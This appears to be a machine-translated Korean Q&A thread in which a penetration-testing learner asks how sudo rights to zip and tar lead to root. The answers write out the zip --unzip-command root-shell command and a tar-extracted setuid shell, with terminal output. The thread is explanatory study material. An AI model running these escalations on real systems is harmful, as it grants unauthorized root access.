sudo 및 가능한 공격 이해

sudo 및 가능한 공격 이해

저는 몇 가지 펜 테스트를 수행하고 몇 가지 가이드를 따라 작업 도구에 대해 알아보고 있습니다. 나는 여행 가이드를 따른다여기마지막 페이지 빼고 다 받았어요.

sudo -l다음 내용을 이해하는 데 도움이 필요합니다 . 현재 사용자가 무엇을 할 수 있는지 자세히 알고 있습니다. 그러나 다음 출력은 무엇을 의미합니까?

여기에 이미지 설명을 입력하세요.

다음 명령(터치 제외)은 어떻습니까? 명령을 실행한 후(exploit?) 루트 권한을 얻을 수 있었기 때문에 약간 혼란스러웠습니다.

여기에 이미지 설명을 입력하세요.

내가 이해한 바에 따르면 명령을 루트로 실행하거나 루트로 승격하고,exploit이라는 파일을 압축하여 tmp/exploit에 넣으라는 줄이 있습니다. 나는 내가 틀렸다고 믿습니다. 그러나 그것이 그 선에 대한 나의 이해가 끝나는 곳입니다.

이 명령을 사용하여 루트 권한을 얻는 방법과 이 줄이 수행하는 작업이 혼란스럽습니다.

답변1

첫 번째 질문의 경우, 지정된 출력 행은 제공된 비밀번호 없이도 루트 /bin/tar/usr/bin/zipvia 로 실행할 수 있음을 알려줍니다.sudozico

zip두 번째 질문에 대해서는 매뉴얼 페이지에서 답변을 얻습니다.

   --unzip-command cmd
          Use command cmd instead of 'unzip -tqq' to test an archive when the -T option is used.

따라서 zip루트로 실행할 수 있는 권한이 있으므로 이 익스플로잇은 "이 아카이브를 테스트할 때 이 명령을 사용하여 테스트하세요. 루트 쉘을 제공하면 도움이 될 것입니다."라고 sudo알려줍니다 .zipsh -c /bin/bash

파일은 exploit단지 zip"테스트"할 수 있도록 압축할 내용을 제공합니다. 그런 적이 없었어달리기또는 실제로는 데모의 빈 파일일 뿐입니다.

$ sudo -u root zip /tmp/exploit.zip /tmp/exploit -T --unzip-command="sh -c /bin/bash"

sudo루트 사용자로 다음 명령을 실행하기 위한 지침 :

$ zip /tmp/exploit.zip /tmp/exploit -T --unzip-command="sh -c /bin/bash"

이 명령 은 파일을 가져와 /tmp/exploit새 아카이브에 넣 습니다 /tmp/exploit.zip.-Tzip시간아카이브 무결성 테스트 중 --unzip-command스위치가 우리에게 알려주는 것zip 어떻게테스트 아카이브. 마지막으로 실제 공격은 zip루트로 실행되기 때문에 이를 실행하면 sh -c /bin/bash루트 쉘이 제공됩니다.

답변2

그렇지 않더라도 ziptar명령을 사용하여 문제를 해결할 수 있습니다. 필요한 것은 setuid 루트 프로그램이 포함된 tar 파일뿐이면 됩니다 tar xfp.

예를 들어 ksh93 및 setuid 루트를 사용하여 tarball을 만들 수 있으면 루트 권한을 얻을 수 있습니다.

$ tar tvf ../foo.tar
-rwsr-xr-x root/root   1519024 2018-11-08 21:32 ksh93
$ sudo tar xvfp ../foo.tar 
ksh93
$ ./ksh93 -c id
uid=500(sweh) gid=500(sweh) euid=0(root) groups=500(sweh),10(wheel),13(news)
$ 

euid를 찾았습니다.. 유효한 루트가 있습니다.

관련 정보